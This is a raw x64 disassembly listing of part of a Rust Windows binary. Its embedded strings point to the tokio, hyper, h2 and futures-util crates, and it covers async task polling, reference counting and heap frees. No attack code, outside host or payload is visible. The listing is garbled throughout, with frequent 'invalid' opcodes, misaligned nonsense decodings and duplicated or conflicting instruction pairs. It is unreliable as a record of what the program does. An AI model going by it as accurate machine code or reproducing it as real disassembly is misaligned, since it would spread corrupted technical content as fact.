movzx eax, al
add eax, dword [0x100bf7f95]
add byte [rdi], cl
mov dh, 0xc0
lea rcx, [0x1401749a8]
movsxd rax, dword [rcx + rax*4]
invalid
add byte [rax + 0x63], cl
add al, 0x81
invalid
or dword [rax + 1], 0x48e0ffc8
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eb0b0
bnd call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
jbe 0x1400971d8
adc dword [rcx], eax
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400970a3.0
mov rcx, rsi
call 0x1400974e0
add byte [rax], al
add byte [rax], al
jmp case.0x1400970a3.0
mov qword [rsp + 0x48], 7
lea rdx, [rsp + 0x48]
add byte [rax - 0x73], cl
push rsp
and al, 0x48
mov rcx, rdi
call fcn.140096b80
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x68], rax
jmp 0x14009713d
mov qword [rsp + 0x48], 7
mov dword [rsp + 0x48], 7
lea rdx, [rsp + 0x48]
mov rcx, rdi
call fcn.140096b80
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], 6
lea rdx, [rsp + 0x48]
mov rcx, rdi
call fcn.140096b80
mov rcx, rsi
call 0x1400975a0
movaps xmm6, xmmword [rsp + 0x230]
add rsp, 0x248
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x48]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
and al, 0x40
mov qword [rsp + 0x20], 6
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140096b80
in al, 0xf6
invalid
dec dword [rax - 0x77]
stc
add rsp, 0x208
pop rdi
pop rsi
jmp 0x1400975a0
invalid
in al, 0xf6
invalid
add byte [rax + 0x8c48148], dl
add al, byte [rax]
add byte [rdi + 0x5e], bl
ret
mov cl, 0x38
or eax, dword [rax]
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
add ah, cl
add ah, cl
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400974fd
ret 0x4906
add esi, dword [rdx + 0x48]
lea rcx, [rsi + 0x30]
call fcn.14007bc30
jmp 0x14009756f
mov ebx, dword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14009756f
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x14009755d
mov rdi, qword [rdi - 8]
jg 0x140097555
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jle 0x140097575
invalid
jle 0x140097575
add byte [rax - 0x75], cl
xchg byte [rax], ch
add al, byte [rax]
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x140097585
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
js 0x1400975ea
invalid
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
and byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
js 0x1400975ea
invalid
push rsi
sub rsp, 0x240
in al, dx
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rax, qword [rcx]
nop
in al, dx
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400975b0
test al, 1
je 0x140097659
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x5c7af0fe], ch
add byte [rax], al
add byte [rax + 0x48197508], ch
lea ecx, [rsi + 0x20]
test al, 2
jne 0x140097671
test al, 8
jne 0x1400975eb
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x58], 7
lea rdx, [rsp + 0x58]
call fcn.140096b80
jmp 0x140097609
invalid
test al, 0x10
je 0x140097609
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x1400976f5
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ead20
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
fdiv st(0)
xadd qword [rsi], rax
fdiv st(0)
xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x140097689
jne 0x14009764f
mov rcx, rsi
add rsp, 0x240
pop rsi
jmp 0x1400974e0
nop
add rsp, 0x240
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
sbb dword [0x163c37674], esi
add byte [rax], al
add al, ch
jg 0x14009763f
invalid
invalid
sbb dword [0x163c37674], esi
add byte [rax], al
add al, ch
jg 0x14009763f
invalid
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014abc0]
mov edx, 0x25
call fcn.1401046f0
invalid
invalid
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:_
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014ac08]
lea rcx, [rsp + 0x58]
call fcn.140104620
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140104620
int3
lea edi, [rsi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14 + 0x10], cl
jne 0x1400977b5
movabs r12, 0x7fffffffffffffff
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400977bf
lea r15, [r14 + 0x11]
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x1400977ee
mov rax, qword [r14 + 0x238]
dec rax
mov qword [r14 + 0x238], rax
xchg byte [rax], bh
add al, byte [rax]
add byte [rax - 1], cl
enter 0xffffffffffff8949, 0xffffffffffffff86
cmp byte [rdx], al
add byte [rax], al
mov bl, 1
cmp rax, 1
jne 0x1400977ee
mov rax, qword [r14 + 0x1b8]
mov rcx, qword [r14 + 0x1c0]
mov qword [r14 + 0x1b8], 0
test rax, rax
je 0x1400977ea
call qword [rax + 8]
jmp 0x1400977ea
call fcn.14010c7c0
jmp 0x140097753
call fcn.14010c880
mov ebx, eax
lea r15, [r14 + 0x11]
jle 0x1400977db
jle 0x1400977db
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x1400977ea
mov rax, qword [r14 + 0x238]
dec rax
dec eax
mov qword [r14 + 0x238], rax
cmp rax, 1
je 0x140097792
test bl, bl
je 0x1400977fa
mov rax, qword [0x14017d2a8]
mov eax, dword [0x14017d2a8]
test rax, r12
jne 0x140097857
xor eax, eax
xchg byte [rdi], al
cmp al, 2
invalid
je 0x140097828
add dh, byte [rsi + riz - 0x10]
dec qword [r14]
lock dec qword [r14]
je 0x140097837
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x140097849
mov rcx, qword [rsi + 8]
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
invalid
pop r14
pop r15
jmp fcn.140087bf0
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lock dec qword [r14]
jne case.0x1400937fa.40
mov rcx, rsi
call fcn.140004660
mov rax, qword [rsi + 8]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
je 0x140097812
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
call fcn.14010c880
test al, al
jne 0x1400977fa
mov byte [r15], 1
jmp 0x1400977fa
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf98
movaps xmmword [rsp + 0xf80], xmm6
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rcx + 0xa58]
lea rcx, [0x1401749b8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rsi + 0xa59], 1
mov rax, qword [rsi + 0x530]
mov qword [rsi + 0xa60], rax
lea rcx, [rsi + 0xa68]
mov r8d, 0x520
add byte [rax], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
movups xmmword [rsi + 0xf88], xmm6
jmp 0x1400978ed
sldt word [rax]
add ecx, dword [rdi]
test byte [rax + 5], dh
add byte [rax], al
lea rbx, [rsi + 0xa68]
mov rcx, rbx
mov rdx, rdi
call fcn.140097ed0
cmp al, 2
jne 0x140097988
mov rax, qword [rsi + 0xf88]
sldt word [rax]
cmp rax, 2
je case.0x140095e36.23
test rax, rax
je 0x140097e8d
mov r15, qword [rsi + 0xf90]
test r15, r15
je 0x140097af2
mov rax, qword [r15 + 0x18]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14009796c
lea r14, [rsi + 0xf90]
mov r13, qword [sym.imp.kernel32.dll_SwitchToThread]
nop dword [rax + rax]
mov rcx, qword [r15 + 0x10]
cmp rcx, rax
je 0x1400979ec
call r13
mov rax, qword [r15 + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x140097950
invalid
in al, 0x49
mov dword [rdi + 0x18], ecx
mov qword [r15 + 0x18], rcx
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013a398]
mov edx, 0x29
call fcn.1401046f0
mov r15, qword [rsi + 0xf88]
mov r12, qword [rsi + 0xf90]
mov qword [rsi + 0xf88], 3
cmp r15, 3
je case.0x140094a12.38
mov ebp, eax
lea rcx, [rsp + 0x30]
mov r8d, 0x520
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x550], r15
mov qword [rsp + 0x558], r12
and al, 0x58
add eax, 0x7c830000
and al, 0x30
invalid
je 0x1400979e1
and al, 0x58
add eax, 0x7c830000
and al, 0x30
add esi, dword [rdx + rcx + 0x48]
lea ecx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.140098bf0
mov r13d, 4
jmp 0x140097bdc
invalid
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r14]
mov rax, qword [rax + 0x38]
test rax, rax
je 0x140097adc
mov rbp, qword [r14]
test rbp, rbp
je 0x140097eb1
mov rcx, qword [rdi]
mov edx, 1
xor eax, eax
lock cmpxchg qword [rbp + 0x58], rdx
cmp rax, 2
je 0x140097a44
test rax, rax
jne 0x140097ab3
mov rdx, qword [rbp + 0x48]
mov rax, qword [rcx]
add dword [rax - 0x7b], ecx
invalid
je 0x140097a51
add dword [rax - 0x7b], ecx
sal byte [rsi + rbx + 0x48], cl
mov ecx, dword [rcx + 8]
mov rcx, qword [rcx + 8]
cmp qword [rbp + 0x50], rcx
jne case.0x140091fd1.256
cmp rdx, rax
je 0x140097a75
invalid
xor ebp, ebx
adc dword [rax - 0x75], ecx
add dword [rax - 0x75], ecx
or byte [r8 - 0x7d], cl
rcl byte [rax], 0xeb
push rsi
jmp case.0x140091fd1.256
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
jmp 0x140097aa7
mov rcx, qword [rcx + 8]
call qword [rax]
mov r15, rax
mov r12, rdx
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x140097a6d
mov rcx, qword [rbp + 0x50]
call qword [rax + 0x18]
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], r12
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [rbp + 0x58], rcx
je 0x140097ab3
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x50]
push rax
push rax
mov qword [rbp + 0x48], 0
test rax, rax
je 0x140097ebd
xor edx, edx
xchg qword [rbp + 0x58], rdx
add rax, 8
invalid
invalid
ror byte [rax], 0xff
adc bl, ch
or byte [rdi], cl
invalid
call qword [rax]
jmp 0x140097ab3
call r13
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
or byte [rax - 0x7b], cl
leave
sbb byte [r8 - 0x75], r9b
or byte [rax - 0x7b], cl
leave
jne 0x140097e1d
test dword [rdx + 3], ebx
add byte [rax], al
mov rcx, qword [rbp + 0x10]
cmp rcx, rax
jne 0x140097ab0
mov rax, qword [r14]
mov eax, dword [rsi]
mov rax, qword [rax + 0x38]
test rax, rax
jne 0x140097bc0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r14]
test rax, rax
je 0x140097af2
lock dec qword [rax]
jne 0x140097af2
mov rcx, r14
call fcn.1400893e0
mov qword [rsi + 0xf90], 0
cmp qword [rsi + 0xf88], 0
je 0x140097ea5
mov qword [rsi + 0xf88], 2
add byte [rax - 0x39], cl
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140099230
movups xmm6, xmmword [rsi + 0xf88]
sldt word [rax]
sldt word [rax]
mov r14, qword [rsi + 0xf88]
add byte [rax], al
mov qword [rsi + 0xf88], 3
cmp r14, 3
add ecx, dword [rdi]
test ch, ch
add al, byte [rax]
invalid
add ecx, dword [rdi]
test ch, ch
add al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x30
lea rcx, [rsp + 0x30]
mov r8d, 0x520
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
movups xmmword [rsp + 0x550], xmm6
mov r13, qword [rsi + 0xa68]
movzx ebp, byte [rsi + 0xa70]
mov eax, dword [rsi + 0xa74]
mov dword [rsp + 0x2b], eax
mov eax, dword [rsi + 0xa71]
mov dword [rsp + 0x28], eax
mov r15, qword [rsi + 0xa78]
or al, byte [rax]
add byte [rbx + rcx*4 - 0x5a], cl
or byte [rdx], 0
add byte [rax - 0x73], cl
xchg esi, eax
mov byte [rdx], cl
add byte [rax], al
or al, byte [rax]
add byte [rbx + rcx*4 - 0x5a], cl
or byte [rdx], 0
add byte [rax - 0x73], cl
xchg esi, eax
mov byte [rdx], cl
add byte [rax], al
lea rcx, [rsp + 0x560]
mov r8d, 0x500
call sub.VCRUNTIME140.dll_memcpy
mov spl, 6
add byte [rcx - 9], cl
invalid
std
invalid
invalid
push qword [rbp + 0xf]
add eax, 0xb8410000
add byte [0x184f17bae], al
mov spl, 6
mov spl, 6
add byte [rcx - 9], cl
invalid
cmp r13, 5
jne 0x140097bdc
mov al, 1
mov cl, 3
jmp 0x140097dfb
lea rcx, [rsp + 0x558]
call fcn.140099230
add byte [rcx - 0x7d], cl
std
invalid
je 0x140097bc0
add byte [rcx - 0x7d], cl
std
add eax, 0x8d4ce474
mov dh, 0x38
add eax, 0x894c0000
scasb al, byte [rdi]
cmp byte [0xc8497bec], al
scasb al, byte [rdi]
add eax, 0x448b0000
and al, 0x28
lea r14, [rsi + 0x538]
mov qword [rsi + 0x538], r13
mov byte [rsi + 0x540], bpl
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x2b]
mov dword [rsi + 0x541], eax
mov dword [rsi + 0x544], ecx
mov qword [rsi + 0x548], r15
mov qword [rsi + 0x550], r12
lea rcx, [rsi + 0x558]
add eax, 0x8d480000
xchg esp, eax
and al, 0x60
add eax, 0xb8410000
add byte [0x108f17c2a], al
add al, ch
enter 0x6b3, 0
add eax, 0x8d480000
xchg esp, eax
and al, 0x60
add eax, 0xb8410000
add byte [0x108f17c2a], al
add al, ch
enter 0x6b3, 0
mov rax, qword [rsi + 0xf88]
cmp rax, 3
add al, ch
enter 0x6b3, 0
mov rax, qword [rsi + 0xf88]
cmp rax, 3
je 0x140097c5a
cmp dword [rbx], 3
je 0x140097c4e
mov rcx, rbx
call fcn.140098bf0
mov rax, qword [rsi + 0xf88]
add byte [rax - 0x57], cl
std
invalid
test rax, 0xfffffffffffffffd
jne 0x140097d3f
cmp dword [r14], 4
je 0x140097d55
lea rcx, [rsp + 0xa60]
mov r8d, 0x520
add byte [rcx + rcx*4 - 0xe], cl
call sub.VCRUNTIME140.dll_memcpy
mov bl, 6
invalid
and al, 0x60
or al, byte [rax]
add byte [rcx - 0x48], al
and byte [0xc9557c74], al
add byte [rcx + rcx*4 - 0xe], cl
call sub.VCRUNTIME140.dll_memcpy
mov bl, 6
invalid
mov bl, 6
add dh, al
xchg byte [rcx + 0xa], bl
add byte [rax], al
add byte [rax - 0x75], cl
sahf
invalid
mov byte [rsi + 0xa59], 0
mov rbx, qword [rsi + 0xa60]
mov bpl, 1
mov al, 1
xchg byte [rbx + 0x40], al
mov al, 1
xchg byte [rbx + 0x20], al
test al, al
jne 0x140097cb6
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
adc byte [r8], al
add byte [rax], al
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfad], cl
invalid
je 0x140097cb6
adc byte [r8], al
add byte [rax], al
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfad], cl
sal byte [rbx + rax - 1], 0x50
call qword [rax + 8]
xchg byte [rbx + 0x38], bpl
test bpl, bpl
call qword [rax + 8]
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x140097cdc
mov rax, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0x28], 0
test rax, rax
je case.0x140096763.16
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbx + 0x38], al
lea r14, [rsi + 0xa60]
lock dec qword [rbx]
jne 0x140097cf1
mov rcx, rbx
call fcn.140035430
invalid
lea rdx, [rsp + 0xa60]
add byte [rax], al
mov r8d, 0x520
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rsi + 0xa60]
mov rcx, rbx
mov rdx, rdi
call fcn.140097ed0
cmp al, 2
jne 0x140097d26
mov al, 1
mov cl, 4
jmp 0x140097dfb
cmp dword [rbx], 3
je 0x140097d33
lea rcx, [rsi + 0xf90]
call fcn.140099230
cmp dword [r14], 4
jne 0x140097c64
test byte [rsi + 0x548], 1
jne 0x140097dd7
cmp byte [rsi + 0xa59], 0
or al, byte [rax]
add byte [rax], al
je 0x140097df0
mov rdi, qword [rsi + 0xa60]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
add byte [rbx - 0x79fe4fff], dh
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x140097d9f
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfa9], cl
invalid
je 0x140097d9f
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfa9], cl
sal byte [rbx + rax - 1], 0x50
or byte [rsi - 0x247bc7a1], al
call qword [rax + 8]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140097dc3
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x140097dbe
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
sbb byte [rcx], dh
rol byte [rsi + 0x48f03847], 0xff
cmp r8b, r14b
dec qword [rdi]
jne 0x140097df0
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
invalid
invalid
cmp r8b, r14b
dec qword [rdi]
lock dec qword [rdi]
jne 0x140097df0
mov rcx, qword [rsi + 0xa60]
call fcn.140035430
jmp 0x140097df0
lea rcx, [rsi + 0x550]
mov ss, word [rax + 5]
add byte [rax], al
call fcn.140099230
cmp byte [rsi + 0xa59], 0
add byte [rdi], cl
test dword [rbx - 1], edi
invalid
invalid
invalid
add byte [rdi], cl
test dword [rbx - 1], edi
invalid
invalid
invalid
mov byte [rsi + 0xa59], 0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa58], cl
movaps xmm6, xmmword [rsp + 0xf80]
pop rax
or al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0xf80], dh
add rsp, 0xf98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rbp + 0x18], rcx
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013a398]
lea eax, [0x14013a398]
lea eax, [0x14013a398]
mov edx, 0x29
call fcn.1401046f0
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, [0x14013f130]
lea eax, [0x14013f130]
lea eax, [0x14013f130]
mov edx, 0x28
call fcn.1401046f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2client.rs
call fcn.140104c30
lea rcx, str.cannot_poll_Select_twiceC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x14013f118]
lea eax, [0x14013f118]
lea eax, [0x14013f118]
mov edx, 0x18
call fcn.140104a60
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.1401092e0
push rbx
adc al, 7
invalid
lea rcx, [0x1401397d1]
lea r8, [0x140139868]
or al, byte [rax]
or al, byte [rax]
mov edx, 0x1a
call fcn.140104a60
lea rcx, [0x140139880]
call fcn.140104a40
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
call fcn.140104a40
or ebx, 6
invalid
or ebx, 6
add byte [rax - 0x73], cl
or eax, 0x7a39c
lea rcx, [0x140112260]
call fcn.140104a40
ud2
or eax, dword [rax]
add byte [rax - 0x75], cl
add rcx, qword [r12]
jb 0x140098b46
add eax, dword [rsi + 0x4f0]
cmp eax, 0x3b9aca00
jb 0x140097fea
inc rcx
je 0x140098b46
add eax, 0xc4653600
xor edx, edx
cmp rcx, qword [r14 + 0x10]
setne dl
mov ecx, 0xff
cmovb edx, ecx
xor r8d, r8d
cmp eax, dword [r14 + 0x18]
setne r8b
cmovb r8d, ecx
test dl, dl
cmovne r8d, edx
cmp r8b, 1
jne 0x1400983bc
mov byte [rsi + 0x511], 0
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax + 0x10]
cmp dword [rbp + 0x30], 0x3b9aca00
jne 0x140098448
mov ebx, 2
cmp byte [rsp + 0x2c], 0
jne 0x140098057
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400989f0
xor eax, eax
mov rcx, qword [rsp + 0x68]
xchg byte [rcx], al
cmp al, 2
je 0x140098962
test ebx, ebx
je 0x140098970
mov r14, rsi
cmp ebx, 1
je 0x14009817e
jmp 0x140098082
mov r15, qword [r14 + 0x408]
lea rcx, [r15 + 0x10]
mov dl, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], dl
jne 0x14009833d
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14009835b
xor eax, eax
movzx edx, byte [r15 + 0x11]
test dl, dl
jne 0x140098375
mov bl, 1
cmp qword [r15 + 0x30], 0
jne 0x1400980d3
cmp qword [r15 + 0x40], 0
je 0x140098277
test al, al
jne 0x1400980ea
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140098865
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400980f8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
jne 0x14009814e
mov rcx, qword [r14 + 0x408]
add rcx, 0x10
lea rbx, [r14 + 0x3a8]
call fcn.14009a1b0
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], 0
lea rax, [0x14013a998]
mov qword [rsp + 0x30], rax
lea rax, [0x14016f768]
mov qword [rsp + 0x38], rax
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14001f9f0
lea rcx, [rsp + 0xa0]
mov rdx, r14
mov r8, rdi
call fcn.14009a2b0
movzx eax, byte [rsp + 0xa0]
cmp eax, 3
je 0x14009817e
cmp eax, 4
jne 0x14009820a
mov al, 2
jmp 0x140098329
mov bpl, 5
cmp dword [rsi], 3
je 0x140098b0f
mov rcx, rsi
call fcn.140098bf0
mov qword [rsi], 3
cmp bpl, 5
je 0x140098322
mov byte [rsp + 0x30], bpl
mov byte [rsp + 0x31], r14b
mov dword [rsp + 0x34], ebx
mov qword [rsp + 0x38], rdi
movapd xmm0, xmmword [rsp + 0x80]
movupd xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
movzx eax, bpl
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x140098322
test eax, eax
je 0x140098322
cmp eax, 1
jne 0x1400982d1
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call qword [rdi + 0x10]
jmp 0x140098322
movupd xmm0, xmmword [rsp + 0xa0]
movupd xmm1, xmmword [rsp + 0xb0]
movapd xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x50], rax
movapd xmmword [rsp + 0x40], xmm1
movzx eax, byte [rsp + 0x30]
cmp eax, 2
je 0x14009828f
cmp eax, 1
jne 0x1400982bc
mov rdi, qword [rsp + 0x38]
movapd xmm0, xmmword [rsp + 0x40]
movapd xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x90], rax
mov ebx, dword [rsp + 0x34]
mov bpl, 1
movzx r14d, byte [rsp + 0x31]
jmp 0x140098181
cmp qword [r15 + 0x238], 2
setae bl
test al, al
jne 0x1400980ea
jmp 0x1400980d7
movzx ecx, byte [rsp + 0x31]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x38], rax
jne 0x1400983a7
movzx edi, cl
shl rdi, 0x20
or rdi, 3
mov bpl, 4
jmp 0x140098181
mov ebx, dword [rsp + 0x34]
mov edi, dword [rsp + 0x38]
movzx r14d, byte [rsp + 0x31]
xor ebp, ebp
jmp 0x140098181
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x140098322
lea rsi, [rdi - 1]
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140098310
cmp qword [rdi + 0x10], 0x11
jb 0x1400982fe
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp bpl, 5
setne al
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rbx, rcx
call fcn.14010c7c0
mov rcx, rbx
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400980b0
mov rbx, rcx
call fcn.14010c880
mov rcx, rbx
xor al, 1
movzx edx, byte [r15 + 0x11]
test dl, dl
je 0x1400980bf
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x38], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bad8]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1401049b0
lea rdx, [rsp + 0x38]
call fcn.14001f5a0
mov rdi, rax
mov bpl, 4
jmp 0x140098181
mov rcx, r13
call fcn.1400365e0
mov byte [rsi + 0x511], 2
call fcn.1400dfe70
add rax, qword [rsi + 0x4f8]
jb 0x140098b46
mov r8d, edx
